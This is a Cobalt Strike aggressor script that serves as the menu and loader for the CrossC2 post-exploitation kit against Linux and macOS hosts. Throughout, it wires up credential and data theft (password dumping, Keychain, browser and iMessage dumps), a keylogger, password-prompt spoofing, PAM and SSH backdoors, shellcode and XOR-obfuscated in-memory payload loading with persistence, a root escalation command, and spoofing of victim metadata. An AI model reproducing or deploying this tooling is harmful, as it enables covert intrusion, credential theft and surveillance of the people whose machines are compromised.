CrossC2Kit_Loader.cna

include(script_resource("init/setup.cna"));
include(script_resource("jobs/cc2_jobs.cna"));
include(script_resource("script/runScript.cna"));
include(script_resource("script/python-import.cna"));
include(script_resource("proxy/frp/cc2_frp.cna"));
include(script_resource("rootkit/auth/cc2_ssh.cna"));
include(script_resource("rootkit/auth/cc2_auth.cna"));
#include(script_resource("scanner/ServerScan/serverscan.cna"));
include(script_resource("gather/password/mimipenguin/cc2_mimipenguin.cna"));
include(script_resource("gather/prompt/osx/cc2_prompt_spoof_dylib.cna"));
include(script_resource("gather/keylogger/osx/keylogger_osx2.cna"));
include(script_resource("gather/browser/safari_dump.cna"));
include(script_resource("gather/browser/chrome_dump.cna"));
include(script_resource("gather/keychain/keychain_dump.cna"));
include(script_resource("gather/message/iMessage_dump.cna"));
include(script_resource("process/processhelper.cna"));
include(script_resource("sshpass/sshpass.cna"));
include(script_resource("update_site/update_site.cna"));
include(script_resource("utils/cc2FilesColor.cna"));
include(script_resource("utils/cc2ProcessColor.cna"));
include(script_resource("utils/portscan_result.cna"));
include(script_resource("utils/setEnv.cna"));
include(script_resource("utils/modifyMetaData.cna"));
include(script_resource("utils/logvis.cna"));
include(script_resource("spawn/runshellcode.cna"));

popup ssh_bottom {
	menu "Inveigh"{
		item "Run Inveigh"{
        }
    }
}

sub openMemoryFileLoadDialogCallBack {
    $taskFile = $3['taskFile'];
    $fileAliasName = $3['fileAliasName'];
    $taskType = $3['taskType'];
    $taskResType = $3['taskResType'];
    $taskNeedRun = $3['taskNeedRun'];
    $taskNeedPersistence = $3['taskNeedPersistence'];
    $taskXorKey = $3['taskXorKey'];

    $transportArg = "";
    bcrossc2_load_dyn_pro($beaconid, $taskType, $fileAliasName, $taskResType, $taskNeedRun, $taskNeedPersistence, $taskXorKey, $taskFile, $transportArg);
}

sub openMemoryFileLoadDialog {
    $beaconid = $1;
    $dialog = dialog("MemoryFile Loader", %(beaconid => $beaconid, taskFile => "", fileAliasName => "", taskType => "", taskResType => "", taskNeedRun => "", taskNeedPersistence => "yes", taskXorKey => "13"), &openMemoryFileLoadDialogCallBack);
    dialog_description($dialog, "load file to memory");

    # fileAliasName // 别名 
    # fileName //真实文件名 -> 文件浏览器中获取
    # taskType = "so"; 文件类型 / 选择器
    # taskResType = "info"; # 文件执行结果 / 选择器
    # taskNeedRun = "Y"; # taskNeedRun -> Y / N
    # taskNeedPersistence = "N"; # taskNeedPersistence -> Y / N
    # taskXorKey = 13; # taskXorKey 文件内容Xor加密key

    drow_file($dialog, "taskFile", "Choose: ");
    drow_text($dialog, "fileAliasName", "fileAliasName: ", "fileAliasName"); # 这里为木马下发的别名
    drow_combobox($dialog, "taskType", "taskType: ", @("so/dylib", "ELF/MachO"));
    drow_combobox($dialog, "taskResType", "taskResType: ", @("info", "portscan", "credentials", "keystrokes", "screenshot", "no-info"));
    drow_combobox($dialog, "taskNeedRun", "taskNeedRun: ", @("no", "yes"));
    $taskNeedPersistence = "Y";
    drow_text($dialog, "taskXorKey", "taskXorKey(1-255): ", 13); # 这里的xorKey可以改为随机

    dbutton_action($dialog, "load");
    dialog_show($dialog);
}

sub openPythonImportDialogDialogCallBack {
    $pythonFile = $3['pythonFile'];
    binput($beaconid, $pythonFile);
    $taskResType = "info"; # info -> normal message
    $scriptType = 'python-import$';
    $scriptEnginePath = 'null';
    $scriptLocalPath = $pythonFile;
    $transportArg = '';

    $pathIndex = lindexOf($scriptLocalPath, '/');
    $pathIndex += 1;
    $filename = substr($scriptLocalPath, $pathIndex);

    $importName = substr($filename, 0, lindexOf($filename, '.'));
    btask($1, "[Python]: import ".$importName);
    $scriptType = $scriptType.$importName;

    if ($scriptType && $scriptLocalPath) {
        if (indexOf($scriptType, "/")) {
            $scriptEnginePath = $scriptType;
        }
        brun_script_in_mem($beaconid, $scriptType, $scriptEnginePath, $taskResType, $scriptLocalPath, @());
    } else {
        berror($beaconid, "*[error]: error script load");
        printUsage_importscript($beaconid);
    }
}

sub openPythonImportDialog {
    $beaconid = $1;
    $dialog = dialog("Python-import", %(beaconid => $beaconid, pythonFile => ""), &openPythonImportDialogDialogCallBack);
    dialog_description($dialog, "import python file");

    drow_file($dialog, "pythonFile", "Choose *.py file: ");

    dbutton_action($dialog, "load");
    dialog_show($dialog);
}


sub openRunMemoryFileDialogCallBack {
    $fileAliasName = $3['fileAliasName'];
    $processName = $3['processName'];
    $taskArgs = $3['taskArgs'];
    $taskType = runType($3['taskType']);
    if ($taskType eq "0") {
        $shell = "cc2-run ".$fileAliasName." ".$processName." ".$taskArgs;
    } else {
        $shell = "cc2-run ".$fileAliasName." ".$taskArgs;
    }
    binput($beaconid, "shell ".$shell);
    bshell($beaconid, $shell);
}

sub openRunMemoryFileDialog {
    $beaconid = $1;
    $dialog = dialog("Run MemoryFile", %(beaconid => $beaconid, fileAliasName => "fileAliasName", processName => "processName (ELF/MachO need)", taskType => "", taskArgs => "taskArgs"), &openRunMemoryFileDialogCallBack);
    dialog_description($dialog, "run executable file from memory");

    drow_text($dialog, "fileAliasName", "fileAliasName: ", "fileAliasName"); 
    drow_text($dialog, "processName", "processName: ", "processName");
    drow_combobox($dialog, "taskType", "taskType: ", @("ELF/MachO", "so/dylib"));
    drow_text($dialog, "taskArgs", "taskArgs: ", "taskArgs");

    dbutton_action($dialog, "load");
    dialog_show($dialog);
}

popup ssh {
    separator();
    menu "&Access" {
        item "&Elevate" { openElevateDialog($1); }
    }
    menu "&CrossC2 Kit" {
        menu "&Process" {
            menu "&executable" {
                item "&list" {
                    binput($1, "shell cc2-memoryList");
                    bshell($1, "cc2-memoryList");
                }
                item "&load" {
                    openMemoryFileLoadDialog($1);
                }
                item "&run" {
                    openRunMemoryFileDialog($1);
                }
                #item "&unload" {
                #}
            }
            foreach $bid ($1) {
                $f_shellcode_status = cc2_shellcode_status($bid);
                if ($f_shellcode_status) {
                    item "&run shellcode" {
                        openShellCodeDialog($bid);
                    }
                }
            }
        }
        menu "&ENV" {
            item "&setenv" {
                openSetEnvDialog($1);
            }
            item "&unsetenv" {
                openUnSetEnvDialog($1);
            }
        }
        menu "&Script" {
            item "&python-import" {
                openPythonImportDialog($1);
            }
            item "&run script" {
                foreach $bid ($1) {
                    openRunScriptDialog($bid);
                }
            }
        }
        menu "Job Manager" {
            item "List" {
                openJobDialog($1, @("list"));
            }
            item "Kill" {
                openJobDialog($1, @("kill"));
            }
            item "Kill All" {
                openJobDialog($1, @("kill", "all"));
            }
        }
        separator();
        menu "Modify MetaData" {
            menu "&Operating System" {
                item "&Android"   { openModifyMetaData($1, "setostype", "android"); }
                item "Apple &iOS" { openModifyMetaData($1, "setostype", "Apple iOS"); }
                item "&Cisco IOS" { openModifyMetaData($1, "setostype", "Cisco IOS"); }
                item "Fire&wall"  { openModifyMetaData($1, "setostype", "Firewall"); }
                item "&FreeBSD"   { openModifyMetaData($1, "setostype", "FreeBSD"); }
                item "&Linux"     { openModifyMetaData($1, "setostype", "Linux"); }
                item "&MacOS X"   { openModifyMetaData($1, "setostype", "MacOS X"); }
                item "&NetBSD"    { openModifyMetaData($1, "setostype", "NetBSD"); }
                item "&OpenBSD"   { openModifyMetaData($1, "setostype", "OpenBSD"); }
                item "&Printer"   { openModifyMetaData($1, "setostype", "Printer"); }
                item "&Solaris"   { openModifyMetaData($1, "setostype", "Solaris"); }
                item "&Unknown"   { openModifyMetaData($1, "setostype", "Unknown"); }
                item "&VMware"    { openModifyMetaData($1, "setostype", "VMware"); }
                menu "&Windows" {
                    item "1. 95/98/2000" { openModifyMetaData($1, "setostype", "Windows"); }
                    item "2. XP/2003"    { openModifyMetaData($1, "setostype", "Windows"); }
                    item "3. Vista/7"    { openModifyMetaData($1, "setostype", "Windows"); }
                    item "4. 8/10/RT"    { openModifyMetaData($1, "setostype", "Windows"); }
                }
            }
            item "Set Internal IP" { 
                openModifyMetaData($1, "setlocalip", "10.0.0.1");
            }
            item "Set HostName" {
                openModifyMetaData($1, "sethostname", "test_hostname");
            }
        }
        separator();
        local('$bid $f_status $f_ps_inject_status $f_shellcode_status');
        foreach $bid ($1) {
            $f_status = cc2_frp_status($bid);
            if ($f_status) {
                item("Proxy(FRP) - ".$f_status, { openProxyDialog($1); });
            }
            $f_ps_inject_status = cc2_inject_status($bid);
            if ($f_ps_inject_status) {
                item("ProcessInject - ".$f_ps_inject_status, {
                    openInjectDialog($1);
                });
            }
        }
        menu "&Gather" {
            local('$bid $safari_d_status $keychain_d_status $keylogger_status $imessage_d_status $mimipenguin_status $auth_pam_status $auth_ssh_status');
            foreach $bid ($1) {
                $safari_d_status = cc2_safari_dump_status($bid);
                if ($safari_d_status) {
                    item "Safari Dump" {
                        openSafariDialog($bid);
                    }
                }
                $keychain_d_status = cc2_keychain_dump_status($bid);
                if ($keychain_d_status) {
                    item "Keychain Dump" {

                    }
                }
                $keylogger_status = cc2_keylogger_status($bid);
                if ($keylogger_status) {
                    item("Keylogger - ".$keylogger_status, {
                        openKeyloggerDialog($bid);
                    });
                }
                $imessage_d_status = cc2_iMessage_dump_status($bid);
                if ($imessage_d_status) {
                    item "iMessage Dump" {
                        openIMessageDumpDialog($bid);
                    }
                }
                $mimipenguin_status = cc2_mimipenguin_status($bid);
                if ($mimipenguin_status) {
                    item("Dump Password - ".$mimipenguin_status, { 
                        openMimipenguinDialog($bid);
                    });
                }
                $prompt_spoof_status = cc2_prompt_spoof_status($bid);
                if ($prompt_spoof_status) {
                    item("PromptSpoof - ".$prompt_spoof_status, {
                        openPromptSpoofDialog($bid);
                    });
                }
                $auth_pam_status = cc2_auth_status($bid);
                if ($auth_pam_status) {
                    menu "PAM" {
                        item("PAM(sshd/sudo/su/passwd) - ".cc2_auth_status($bid),{
                            openAuthKitDialog($bid);
                        });
                        item "uninstall" {
                            openAuthKitUninstallDialog($bid);
                        }
                    }
                }
                $auth_ssh_status = cc2_ssh_status($bid);
                if ($auth_ssh_status) {
                    menu "ssh_client" {
                        item("ssh - ".cc2_ssh_status($bid),{
                            binput($bid, "help cc2_ssh");
                        });
                    }
                }
            }
        }
    }
}

ssh_alias spawn {
    bcc2_spawn($1);
}

ssh_alias getsystem {
    bcc2_getsystem($1);
}

ssh_alias setenv {
    bcc2_setenv($1, $2, $3);
}

ssh_alias unsetenv {
    bcc2_unsetenv($1, $2);
}

ssh_command_register("spawn", "Spawn a new session");
ssh_command_register("getsystem", "Promote the session with uid=0 temporary permission to root session");
ssh_command_register("setenv", "Set the environment variables of the session", "\nUsage: setenv <EnvName> <EnvValue> \n\tsetenv PATH ./:/usr/bin/\n");


set SSH_SBAR_LEFT {
    local('$computer $user $pid $barch');
    ($computer, $user, $barch) = values($2, @('computer', 'user', 'barch'));
    $usi = indexOf($user, " ");
    if ($usi ne $null) {
        $user = substr($user, 0, $usi);
    }
    $si = indexOf($computer, "(");
    $si = $si + 1;
    $ei = indexOf($computer, ")");
    $pid = substr($computer, $si, $ei);
    return "[ $+ $user\@$computer $+ ][ $+ $barch $+ ] PID=$pid";
}

# beaconid, %meta
set SSH_SBAR_RIGHT {
    if ($2['note'] ne "") {
        return "\c2" . $2['note'] . "  \olast: " . $2['lastf'] . " ";
    }
    else {
        return "last: " . $2['lastf'] . " ";
    }
}



# Useful aliases, placed in kitloader because I always have this loaded
# from 'Und3rf10w - KitLoader.cna'

ssh_alias cat {
    if ($2){
        bshell($1, "cat $2");
    } else {
        berror($1, "Error: You must specify a file");
    }
}
ssh_command_register("cat", "Displays the contents of a file", "Use: cat [file]\n\nDisplays the contents of [file]");

ssh_alias tail {
    if ($2){
        bshell($1, "tail $2");
    } else {
        berror($1, "Error: You must specify a file");
    }
}
ssh_command_register("tail", "Print the last 10 lines of a file", "Use: tail [file]\n\nDisplays last 10 lines of [file]");

ssh_alias head {
    if ($2){
        bshell($1, "head $2");
    } else {
        berror($1, "Error: You must specify a file");
    }
}
ssh_command_register("head", "Print the first 10 lines of a file", "Use: head [file]\n\nDisplays first 10 lines of [file]");


# $script_path = script_resource("third-party");
# @scripts_dir = ls($script_path);
println("\n\n------------- load third-party ----------------");

sub include_file {
    local('$s_file');
    $s_file = $1;
    if ("load.cna" isin $s_file) {
        include($s_file);
    }
}

sub parse_dir {
    local('$dir $script_path @scripts_dir');
    $dir = $1;
    if (-isDir $dir) {
        @scripts_dir = ls($dir);

        local('$s_dir');
        foreach $s_dir(@scripts_dir) {
            if (-isDir $s_dir) {
                # println("[dir]: $s_dir");
                parse_dir($s_dir);
            } else {
                # println("[file]: $s_dir");
                include_file($s_dir);
            }
        }
    } else {
        # println("[file]: $dir");
        include_file($dir);
    }
}

parse_dir(script_resource("third-party"));